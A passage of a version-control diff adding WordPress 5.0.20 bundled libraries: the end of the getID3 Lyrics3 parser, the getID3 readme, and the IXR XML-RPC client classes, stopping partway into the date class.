+			if (isset($thislinetimestamps) && is_array($thislinetimestamps)) {
+				sort($thislinetimestamps);
+				foreach ($thislinetimestamps as $timestampkey => $timestamp) {
+					if (isset($Lyrics3data['synchedlyrics'][$timestamp])) {
+						// timestamps only have a 1-second resolution, it's possible that multiple lines
+						// could have the same timestamp, if so, append
+						$Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline;
+					} else {
+						$Lyrics3data['synchedlyrics'][$timestamp] = $lyricline;
+					}
+				}
+			}
+		}
+		$Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray);
+		if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) {
+			ksort($Lyrics3data['synchedlyrics']);
+		}
+		return true;
+	}
+
+	public function IntString2Bool($char) {
+		if ($char == '1') {
+			return true;
+		} elseif ($char == '0') {
+			return false;
+		}
+		return null;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/ID3/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/readme.txt	(revision 56912)
@@ -0,0 +1,604 @@
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+
+*****************************************************************
+*****************************************************************
+
+   getID3() is released under multiple licenses. You may choose
+   from the following licenses, and use getID3 according to the
+   terms of the license most suitable to your project.
+
+GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
+         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
+         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)
+
+GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)
+
+Mozilla MPL: http://www.mozilla.org/MPL/2.0/                 (v2)
+
+getID3 Commercial License: http://getid3.org/#gCL (payment required)
+
+*****************************************************************
+*****************************************************************
+Copies of each of the above licenses are included in the 'licenses'
+directory of the getID3 distribution.
+
+
+       +---------------------------------------------+
+       | If you want to donate, there is a link on   |
+       | http://www.getid3.org for PayPal donations. |
+       +---------------------------------------------+
+
+
+Quick Start
+===========================================================================
+
+Q: How can I check that getID3() works on my server/files?
+A: Unzip getID3() to a directory, then access /demos/demo.browse.php
+
+
+
+Support
+===========================================================================
+
+Q: I have a question, or I found a bug. What do I do?
+A: The preferred method of support requests and/or bug reports is the
+   forum at http://support.getid3.org/
+
+
+
+Sourceforge Notification
+===========================================================================
+
+It's highly recommended that you sign up for notification from
+Sourceforge for when new versions are released. Please visit:
+http://sourceforge.net/project/showfiles.php?group_id=55859
+and click the little "monitor package" icon/link.  If you're
+previously signed up for the mailing list, be aware that it has
+been discontinued, only the automated Sourceforge notification
+will be used from now on.
+
+
+
+What does getID3() do?
+===========================================================================
+
+Reads & parses (to varying degrees):
+ ¤ tags:
+  * APE (v1 and v2)
+  * ID3v1 (& ID3v1.1)
+  * ID3v2 (v2.4, v2.3, v2.2)
+  * Lyrics3 (v1 & v2)
+
+ ¤ audio-lossy:
+  * MP3/MP2/MP1
+  * MPC / Musepack
+  * Ogg (Vorbis, OggFLAC, Speex)
+  * AAC / MP4
+  * AC3
+  * DTS
+  * RealAudio
+  * Speex
+  * DSS
+  * VQF
+
+ ¤ audio-lossless:
+  * AIFF
+  * AU
+  * Bonk
+  * CD-audio (*.cda)
+  * FLAC
+  * LA (Lossless Audio)
+  * LiteWave
+  * LPAC
+  * MIDI
+  * Monkey's Audio
+  * OptimFROG
+  * RKAU
+  * Shorten
+  * TTA
+  * VOC
+  * WAV (RIFF)
+  * WavPack
+
+ ¤ audio-video:
+  * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV)
+  * AVI (RIFF)
+  * Flash
+  * Matroska (MKV)
+  * MPEG-1 / MPEG-2
+  * NSV (Nullsoft Streaming Video)
+  * Quicktime (including MP4)
+  * RealVideo
+
+ ¤ still image:
+  * BMP
+  * GIF
+  * JPEG
+  * PNG
+  * TIFF
+  * SWF (Flash)
+  * PhotoCD
+
+ ¤ data:
+  * ISO-9660 CD-ROM image (directory structure)
+  * SZIP (limited support)
+  * ZIP (directory structure)
+  * TAR
+  * CUE
+
+
+Writes:
+  * ID3v1 (& ID3v1.1)
+  * ID3v2 (v2.3 & v2.4)
+  * VorbisComment on OggVorbis
+  * VorbisComment on FLAC (not OggFLAC)
+  * APE v2
+  * Lyrics3 (delete only)
+
+
+
+Requirements
+===========================================================================
+
+* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier)
+* PHP 5.0.5 (or higher) for getID3() 1.8.x (and up)
+* PHP 5.0.5 (or higher) for getID3() 2.0.x (and up)
+* at least 4MB memory for PHP. 8MB or more is highly recommended.
+  12MB is required with all modules loaded.
+
+
+
+Usage
+===========================================================================
+
+See /demos/demo.basic.php for a very basic use of getID3() with no
+fancy output, just scanning one file.
+
+See structure.txt for the returned data structure.
+
+*>  For an example of a complete directory-browsing,       <*
+*>  file-scanning implementation of getID3(), please run   <*
+*>  /demos/demo.browse.php                                 <*
+
+See /demos/demo.mysql.php for a sample recursive scanning code that
+scans every file in a given directory, and all sub-directories, stores
+the results in a database and allows various analysis / maintenance
+operations
+
+To analyze remote files over HTTP or FTP you need to copy the file
+locally first before running getID3(). Your code would look something
+like this:
+
+// Copy remote file locally to scan with getID3()
+$remotefilename = 'http://www.example.com/filename.mp3';
+if ($fp_remote = fopen($remotefilename, 'rb')) {
+    $localtempfilename = tempnam('/tmp', 'getID3');
+    if ($fp_local = fopen($localtempfilename, 'wb')) {
+        while ($buffer = fread($fp_remote, 8192)) {
+            fwrite($fp_local, $buffer);
+        }
+        fclose($fp_local);
+
+		// Initialize getID3 engine
+		$getID3 = new getID3;
+
+		$ThisFileInfo = $getID3->analyze($filename);
+
+        // Delete temporary file
+        unlink($localtempfilename);
+    }
+    fclose($fp_remote);
+}
+
+
+See /demos/demo.write.php for how to write tags.
+
+
+
+What does the returned data structure look like?
+===========================================================================
+
+See structure.txt
+
+It is recommended that you look at the output of
+/demos/demo.browse.php scanning the file(s) you're interested in to
+confirm what data is actually returned for any particular filetype in
+general, and your files in particular, as the actual data returned
+may vary considerably depending on what information is available in
+the file itself.
+
+
+
+Notes
+===========================================================================
+
+getID3() 1.x:
+If the format parser encounters a critical problem, it will return
+something in $fileinfo['error'], describing the encountered error. If
+a less critical error or notice is generated it will appear in
+$fileinfo['warning']. Both keys may contain more than one warning or
+error. If something is returned in ['error'] then the file was not
+correctly parsed and returned data may or may not be correct and/or
+complete. If something is returned in ['warning'] (and not ['error'])
+then the data that is returned is OK - usually getID3() is reporting
+errors in the file that have been worked around due to known bugs in
+other programs. Some warnings may indicate that the data that is
+returned is OK but that some data could not be extracted due to
+errors in the file.
+
+getID3() 2.x:
+See above except errors are thrown (so you will only get one error).
+
+
+
+Disclaimer
+===========================================================================
+
+getID3() has been tested on many systems, on many types of files,
+under many operating systems, and is generally believe to be stable
+and safe. That being said, there is still the chance there is an
+undiscovered and/or unfixed bug that may potentially corrupt your
+file, especially within the writing functions. By using getID3() you
+agree that it's not my fault if any of your files are corrupted.
+In fact, I'm not liable for anything :)
+
+
+
+License
+===========================================================================
+
+GNU General Public License - see license.txt
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License
+as published by the Free Software Foundation; either version 2
+of the License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to:
+Free Software Foundation, Inc.
+59 Temple Place - Suite 330
+Boston, MA  02111-1307, USA.
+
+FAQ:
+Q: Can I use getID3() in my program? Do I need a commercial license?
+A: You're generally free to use getID3 however you see fit. The only
+   case in which you would require a commercial license is if you're
+   selling your closed-source program that integrates getID3. If you
+   sell your program including a copy of getID3, that's fine as long
+   as you include a copy of the sourcecode when you sell it.  Or you
+   can distribute your code without getID3 and say "download it from
+   getid3.sourceforge.net"
+
+
+
+Why is it called "getID3()" if it does so much more than just that?
+===========================================================================
+
+v0.1 did in fact just do that. I don't have a copy of code that old, but I
+could essentially write it today with a one-line function:
+  function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); }
+
+
+Future Plans
+===========================================================================
+http://www.getid3.org/phpBB3/viewforum.php?f=7
+
+* Better support for MP4 container format
+* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0)
+* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm)
+* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669)
+* Support for ACE (thanks Vince)
+* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid)
+* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header
+* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding)
+* Warn if MP3s change version mid-stream (in full-scan mode)
+* check for corrupt/broken mid-file MP3 streams in histogram scan
+* Support for lossless-compression formats
+  (http://www.firstpr.com.au/audiocomp/lossless/#Links)
+  (http://compression.ca/act-sound.html)
+  (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm)
+* Support for RIFF-INFO chunks
+  * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html
+    (thanks Nick Humfrey <njhØsurgeradio*co*uk>)
+  * http://abcavi.narod.ru/sof/abcavi/infotags.htm
+    (thanks Kibi)
+* Better support for Bink video
+* http://www.hr/josip/DSP/AudioFile2.html
+* http://www.pcisys.net/~melanson/codecs/
+* Detect mp3PRO
+* Support for PSD
+* Support for JPC
+* Support for JP2
+* Support for JPX
+* Support for JB2
+* Support for IFF
+* Support for ICO
+* Support for ANI
+* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl)
+* Support for DVD-IFO (region, subtitles, aspect ratio, etc)
+  (thanks p*quaedackersØplanet*nl)
+* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content
+    (thanks n8n8Øyahoo*com)
+* Support for a2b
+* Optional scan-through-frames for AVI verification
+  (thanks rockcohenØmassive-interactive*nl)
+* Support for TTF (thanks infoØbutterflyx*com)
+* Support for DSS (http://www.getid3.org/phpBB3/viewtopic.php?t=171)
+* Support for SMAF (http://smaf-yamaha.com/what/demo.html)
+  http://www.getid3.org/phpBB3/viewtopic.php?t=182
+* Support for AMR (http://www.getid3.org/phpBB3/viewtopic.php?t=195)
+* Support for 3gpp (http://www.getid3.org/phpBB3/viewtopic.php?t=195)
+* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com)
+* Parse XML data returned in Ogg comments
+* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com)
+* ID3v2 genre string creator function
+* More complete parsing of JPG
+* Support for all old-style ASF packets
+* ASF/WMA/WMV tag writing
+* Parse declared T??? ID3v2 text information frames, where appropriate
+    (thanks Christian Fritz for the idea)
+* Recognize encoder:
+  http://www.guerillasoft.com/EncSpot2/index.html
+  http://ff123.net/identify.html
+  http://www.hydrogenaudio.org/?act=ST&f=16&t=9414
+  http://www.hydrogenaudio.org/?showtopic=11785
+* Support for other OS/2 bitmap structures: Bitmap Array('BA'),
+  Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT')
+  http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
+* Support for WavPack RAW mode
+* ASF/WMA/WMV data packet parsing
+* ID3v2FrameFlagsLookupTagAlter()
+* ID3v2FrameFlagsLookupFileAlter()
+* obey ID3v2 tag alter/preserve/discard rules
+* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm
+* proper checking for LINK/LNK frame validity in ID3v2 writing
+* proper checking for ASPI-TLEN frame validity in ID3v2 writing
+* proper checking for COMR frame validity in ID3v2 writing
+* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html
+* decode GEOB ID3v2 structure as encoded by RealJukebox,
+  decode NCON ID3v2 structure as encoded by MusicMatch
+  (probably won't happen - the formats are proprietary)
+
+
+
+Known Bugs/Issues in getID3() that may be fixed eventually
+===========================================================================
+http://www.getid3.org/phpBB3/viewtopic.php?t=25
+
+* Cannot determine bitrate for MPEG video with VBR video data
+  (need documentation)
+* Interlace/progressive cannot be determined for MPEG video
+  (need documentation)
+* MIDI playtime is sometimes inaccurate
+* AAC-RAW mode files cannot be identified
+* WavPack-RAW mode files cannot be identified
+* mp4 files report lots of "Unknown QuickTime atom type"
+   (need documentation)
+* Encrypted ASF/WMA/WMV files warn about "unhandled GUID
+  ASF_Content_Encryption_Object"
+* Bitrate split between audio and video cannot be calculated for
+  NSV, only the total bitrate. (need documentation)
+* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the
+  problem of large VorbisComments spanning multiple Ogg pages, but
+  but only OggVorbis files can be processed with vorbiscomment.
+* The version of "head" supplied with Mac OS 10.2.8 (maybe other
+  versions too) does only understands a single option (-n) and
+  therefore fails. getID3 ignores this and returns wrong md5_data.
+
+
+
+Known Bugs/Issues in getID3() that cannot be fixed
+--------------------------------------------------
+http://www.getid3.org/phpBB3/viewtopic.php?t=25
+
+* 32-bit PHP installations only:
+  Files larger than 2GB cannot always be parsed fully by getID3()
+  due to limitations in the 32-bit PHP filesystem functions.
+  NOTE: Since v1.7.8b3 there is partial support for larger-than-
+  2GB files, most of which will parse OK, as long as no critical
+  data is located beyond the 2GB offset.
+  Known will-work:
+  * all file formats on 64-bit PHP
+  * ZIP  (format doesn't support files >2GB)
+  * FLAC (current encoders don't support files >2GB)
+  Known will-not-work:
+  * ID3v1 tags (always located at end-of-file)
+  * Lyrics3 tags (always located at end-of-file)
+  * APE tags (always located at end-of-file)
+  Maybe-will-work:
+  * Quicktime (will work if needed metadata is before 2GB offset,
+    that is if the file has been hinted/optimized for streaming)
+  * RIFF.WAV (should work fine, but gives warnings about not being
+    able to parse all chunks)
+  * RIFF.AVI (playtime will probably be wrong, is only based on
+    "movi" chunk that fits in the first 2GB, should issue error
+    to show that playtime is incorrect. Other data should be mostly
+    correct, assuming that data is constant throughout the file)
+* PHP <= v5 on Windows cannot read UTF-8 filenames
+
+
+Known Bugs/Issues in other programs
+-----------------------------------
+http://www.getid3.org/phpBB3/viewtopic.php?t=25
+
+* Windows Media Player (up to v11) and iTunes (up to v10+) do
+    not correctly handle ID3v2.3 tags with UTF-16BE+BOM
+    encoding (they assume the data is UTF-16LE+BOM and either
+    crash (WMP) or output Asian character set (iTunes)
+* Winamp (up to v2.80 at least) does not support ID3v2.4 tags,
+    only ID3v2.3
+    see: http://forums.winamp.com/showthread.php?postid=387524
+* Some versions of Helium2 (www.helium2.com) do not write
+    ID3v2.4-compliant Frame Sizes, even though the tag is marked
+    as ID3v2.4)  (detected by getID3())
+* MP3ext V3.3.17 places a non-compliant padding string at the end
+    of the ID3v2 header. This is supposedly fixed in v3.4b21 but
+    only if you manually add a registry key. This fix is not yet
+    confirmed.  (detected by getID3())
+* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment
+    strings, supposed to be in the format "NAME=value" but actually
+    written just "value"  (detected by getID3())
+* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's
+    actually ABR or VBR.
+* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably
+    other versions are too) writes ID3v2.3 comment tags using a
+    frame name 'COM ' which is not valid for ID3v2.3+ (it's an
+    ID3v2.2-style frame name)  (detected by getID3())
+* MP2enc does not encode mono CBR MP2 files properly (half speed
+    sound and double playtime)
+* MP2enc does not encode mono VBR MP2 files properly (actually
+    encoded as stereo)
+* tooLAME does not encode mono VBR MP2 files properly (actually
+    encoded as stereo)
+* AACenc encodes files in VBR mode (actually ABR) even if CBR is
+   specified
+* AAC/ADIF - bitrate_mode = cbr for vbr files
+* LAME 3.90-3.92 prepends one frame of null data (space for the
+  LAME/VBR header, but it never gets written) when encoding in CBR
+  mode with the DLL
+* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed
+  to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for
+  TwinVQF v2.0  (detected by getID3())
+* Ahead Nero encodes TwinVQF files 1 second shorter than they
+  should be
+* AAC-ADTS files are always actually encoded VBR, even if CBR mode
+  is specified (the CBR-mode switches on the encoder enable ABR
+  mode, not CBR as such, but it's not possible to tell the
+  difference between such ABR files and true VBR)
+* STREAMINFO.audio_signature in OggFLAC is always null. "The reason
+  it's like that is because there is no seeking support in
+  libOggFLAC yet, so it has no way to go back and write the
+  computed sum after encoding. Seeking support in Ogg FLAC is the
+  #1 item for the next release." - Josh Coalson (FLAC developer)
+  NOTE: getID3() will calculate md5_data in a method similar to
+  other file formats, but that value cannot be compared to the
+  md5_data value from FLAC data in a FLAC file format.
+* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 &
+  v0.4.0 - getID3() will calculate md5_data in a method similar to
+  other file formats, but that value cannot be compared to the
+  md5_data value from FLAC v0.5.0+
+* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with
+  a WCOM frame that has no data portion
+* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis
+  files, thus making them corrupt.
+* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the
+  last byte of data from an MP3 file when appending a new ID3v1 tag.
+  (detected by getID3())
+* Lossless-Audio files encoded with and without the -noseek switch
+  do actually differ internally and therefore cannot match md5_data
+* iTunes has been known to append a new ID3v1 tag on the end of an
+  existing ID3v1 tag when ID3v2 tag is also present
+  (detected by getID3())
+* MediaMonkey may write a blank RGAD ID3v2 frame but put actual
+  replay gain adjustments in a series of user-defined TXXX frames
+  (detected and handled by getID3() since v1.9.2)
+
+
+
+
+Reference material:
+===========================================================================
+
+[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/]
+* http://www.id3.org/id3v2.4.0-structure.txt
+* http://www.id3.org/id3v2.4.0-frames.txt
+* http://www.id3.org/id3v2.4.0-changes.txt
+* http://www.id3.org/id3v2.3.0.txt
+* http://www.id3.org/id3v2-00.txt
+* http://www.id3.org/mp3frame.html
+* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html <mathewhendry@hotmail.com>
+* http://www.dv.co.yu/mpgscript/mpeghdr.htm
+* http://www.mp3-tech.org/programmer/frame_header.html
+* http://users.belgacom.net/gc247244/extra/tag.html
+* http://gabriel.mp3-tech.org/mp3infotag.html
+* http://www.id3.org/iso4217.html
+* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT
+* http://www.xiph.org/ogg/vorbis/doc/framing.html
+* http://www.xiph.org/ogg/vorbis/doc/v-comment.html
+* http://leknor.com/code/php/class.ogg.php.txt
+* http://www.id3.org/iso639-2.html
+* http://www.id3.org/lyrics3.html
+* http://www.id3.org/lyrics3200.html
+* http://www.psc.edu/general/software/packages/ieee/ieee.html
+* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
+* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
+* http://www.jmcgowan.com/avi.html
+* http://www.wotsit.org/
+* http://www.herdsoft.com/ti/davincie/davp3xo2.htm
+* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html
+* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org)
+* http://midistudio.com/Help/GMSpecs_Patches.htm
+* http://www.xiph.org/archives/vorbis/200109/0459.html
+* http://www.replaygain.org/
+* http://www.lossless-audio.com/
+* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe
+* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf
+* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/)
+* http://jfaul.de/atl/
+* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/)
+* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html
+* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm
+* http://www.fastgraph.com/help/bmp_os2_header_format.html
+* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
+* http://flac.sourceforge.net/format.html
+* http://www.research.att.com/projects/mpegaudio/mpeg2.html
+* http://www.audiocoding.com/wiki/index.php?page=AAC
+* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf
+* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
+* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm
+* http://www.nullsoft.com/nsv/
+* http://www.wotsit.org/download.asp?f=iso9660
+* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html
+* http://www.cdroller.com/htm/readdata.html
+* http://www.speex.org/manual/node10.html
+* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc
+* http://www.faqs.org/rfcs/rfc2361.html
+* http://ghido.shelter.ro/
+* http://www.ebu.ch/tech_t3285.pdf
+* http://www.sr.se/utveckling/tu/bwf
+* http://ftp.aessc.org/pub/aes46-2002.pdf
+* http://cartchunk.org:8080/
+* http://www.broadcastpapers.com/radio/cartchunk01.htm
+* http://www.hr/josip/DSP/AudioFile2.html
+* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html
+* http://www.pure-mac.com/extkey.html
+* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt
+* http://www.headbands.com/gspot/
+* http://www.openswf.org/spec/SWFfileformat.html
+* http://j-faul.virtualave.net/
+* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html
+* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html
+* http://sswf.sourceforge.net/SWFalexref.html
+* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
+* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm
+* http://developer.apple.com/quicktime/icefloe/dispatch012.html
+* http://www.csdn.net/Dev/Format/graphics/PCD.htm
+* http://tta.iszf.irk.ru/
+* http://www.atsc.org/standards/a_52a.pdf
+* http://www.alanwood.net/unicode/
+* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html
+* http://www.its.msstate.edu/net/real/reports/config/tags.stats
+* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
+* http://brennan.young.net/Comp/LiveStage/things.html
+* http://www.multiweb.cz/twoinches/MP3inside.htm
+* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
+* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
+* http://www.unicode.org/unicode/faq/utf_bom.html
+* http://tta.corecodec.org/?menu=format
+* http://www.scvi.net/nsvformat.htm
+* http://pda.etsi.org/pda/queryform.asp
+* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm
+* http://trac.musepack.net/trac/wiki/SV8Specification
+* http://wyday.com/cuesharp/specification.php
+* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-base64.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-base64.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-base64.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+
+/**
+ * IXR_Base64
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Base64
+{
+    var $data;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $data )
+    {
+        $this->data = $data;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Base64( $data ) {
+		self::__construct( $data );
+	}
+
+    function getXml()
+    {
+        return '<base64>'.base64_encode($this->data).'</base64>';
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-client.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-client.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-client.php	(revision 56912)
@@ -0,0 +1,166 @@
+<?php
+
+/**
+ * IXR_Client
+ *
+ * @package IXR
+ * @since 1.5.0
+ *
+ */
+class IXR_Client
+{
+    var $server;
+    var $port;
+    var $path;
+    var $useragent;
+    var $response;
+    var $message = false;
+    var $debug = false;
+    var $timeout;
+    var $headers = array();
+
+    // Storage place for an error message
+    var $error = false;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $server, $path = false, $port = 80, $timeout = 15 )
+    {
+        if (!$path) {
+            // Assume we have been given a URL instead
+            $bits = parse_url($server);
+            $this->server = $bits['host'];
+            $this->port = isset($bits['port']) ? $bits['port'] : 80;
+            $this->path = isset($bits['path']) ? $bits['path'] : '/';
+
+            // Make absolutely sure we have a path
+            if (!$this->path) {
+                $this->path = '/';
+            }
+
+            if ( ! empty( $bits['query'] ) ) {
+                $this->path .= '?' . $bits['query'];
+            }
+        } else {
+            $this->server = $server;
+            $this->path = $path;
+            $this->port = $port;
+        }
+        $this->useragent = 'The Incutio XML-RPC PHP Library';
+        $this->timeout = $timeout;
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_Client( $server, $path = false, $port = 80, $timeout = 15 ) {
+		self::__construct( $server, $path, $port, $timeout );
+	}
+
+    function query()
+    {
+        $args = func_get_args();
+        $method = array_shift($args);
+        $request = new IXR_Request($method, $args);
+        $length = $request->getLength();
+        $xml = $request->getXml();
+        $r = "\r\n";
+        $request  = "POST {$this->path} HTTP/1.0$r";
+
+        // Merged from WP #8145 - allow custom headers
+        $this->headers['Host']          = $this->server;
+        $this->headers['Content-Type']  = 'text/xml';
+        $this->headers['User-Agent']    = $this->useragent;
+        $this->headers['Content-Length']= $length;
+
+        foreach( $this->headers as $header => $value ) {
+            $request .= "{$header}: {$value}{$r}";
+        }
+        $request .= $r;
+
+        $request .= $xml;
+
+        // Now send the request
+        if ($this->debug) {
+            echo '<pre class="ixr_request">'.htmlspecialchars($request)."\n</pre>\n\n";
+        }
+
+        if ($this->timeout) {
+            $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout);
+        } else {
+            $fp = @fsockopen($this->server, $this->port, $errno, $errstr);
+        }
+        if (!$fp) {
+            $this->error = new IXR_Error(-32300, 'transport error - could not open socket');
+            return false;
+        }
+        fputs($fp, $request);
+        $contents = '';
+        $debugContents = '';
+        $gotFirstLine = false;
+        $gettingHeaders = true;
+        while (!feof($fp)) {
+            $line = fgets($fp, 4096);
+            if (!$gotFirstLine) {
+                // Check line for '200'
+                if (strstr($line, '200') === false) {
+                    $this->error = new IXR_Error(-32300, 'transport error - HTTP status code was not 200');
+                    return false;
+                }
+                $gotFirstLine = true;
+            }
+            if (trim($line) == '') {
+                $gettingHeaders = false;
+            }
+            if (!$gettingHeaders) {
+            	// merged from WP #12559 - remove trim
+                $contents .= $line;
+            }
+            if ($this->debug) {
+            	$debugContents .= $line;
+            }
+        }
+        if ($this->debug) {
+            echo '<pre class="ixr_response">'.htmlspecialchars($debugContents)."\n</pre>\n\n";
+        }
+
+        // Now parse what we've got back
+        $this->message = new IXR_Message($contents);
+        if (!$this->message->parse()) {
+            // XML error
+            $this->error = new IXR_Error(-32700, 'parse error. not well formed');
+            return false;
+        }
+
+        // Is the message a fault?
+        if ($this->message->messageType == 'fault') {
+            $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString);
+            return false;
+        }
+
+        // Message must be OK
+        return true;
+    }
+
+    function getResponse()
+    {
+        // methodResponses can only have one param - return that
+        return $this->message->params[0];
+    }
+
+    function isError()
+    {
+        return (is_object($this->error));
+    }
+
+    function getErrorCode()
+    {
+        return $this->error->code;
+    }
+
+    function getErrorMessage()
+    {
+        return $this->error->message;
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-clientmulticall.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-clientmulticall.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-clientmulticall.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * IXR_ClientMulticall
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_ClientMulticall extends IXR_Client
+{
+    var $calls = array();
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct( $server, $path = false, $port = 80 )
+    {
+        parent::IXR_Client($server, $path, $port);
+        $this->useragent = 'The Incutio XML-RPC PHP Library (multicall client)';
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function IXR_ClientMulticall( $server, $path = false, $port = 80 ) {
+		self::__construct( $server, $path, $port );
+	}
+
+    function addCall()
+    {
+        $args = func_get_args();
+        $methodName = array_shift($args);
+        $struct = array(
+            'methodName' => $methodName,
+            'params' => $args
+        );
+        $this->calls[] = $struct;
+    }
+
+    function query()
+    {
+        // Prepare multicall, then call the parent::query() method
+        return parent::query('system.multicall', $this->calls);
+    }
+}
Index: /tags/5.0.20/src/wp-includes/IXR/class-IXR-date.php
===================================================================
--- /tags/5.0.20/src/wp-includes/IXR/class-IXR-date.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/IXR/class-IXR-date.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * IXR_Date
+ *
+ * @package IXR
+ * @since 1.5.0
+ */
+class IXR_Date {
+    var $year;
+    var $month;
+    var $day;
+    var $hour;
